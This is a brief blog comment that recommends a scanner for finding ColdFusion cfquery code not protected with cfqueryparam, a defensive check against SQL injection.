Steve Bryant's Gravatar I realize this is an old post, but for anyone looking now check out Peter Boughton's excellent QueryParam Scanner to find any cfquery code that is not protected with cfqueryparam.

http://qpscanner.riaforge.org/
# Posted By Steve Bryant | 5/3/11 11:53 AM



Blog provided and hosted by CF Webtools. Blog Sofware by Ray Camden.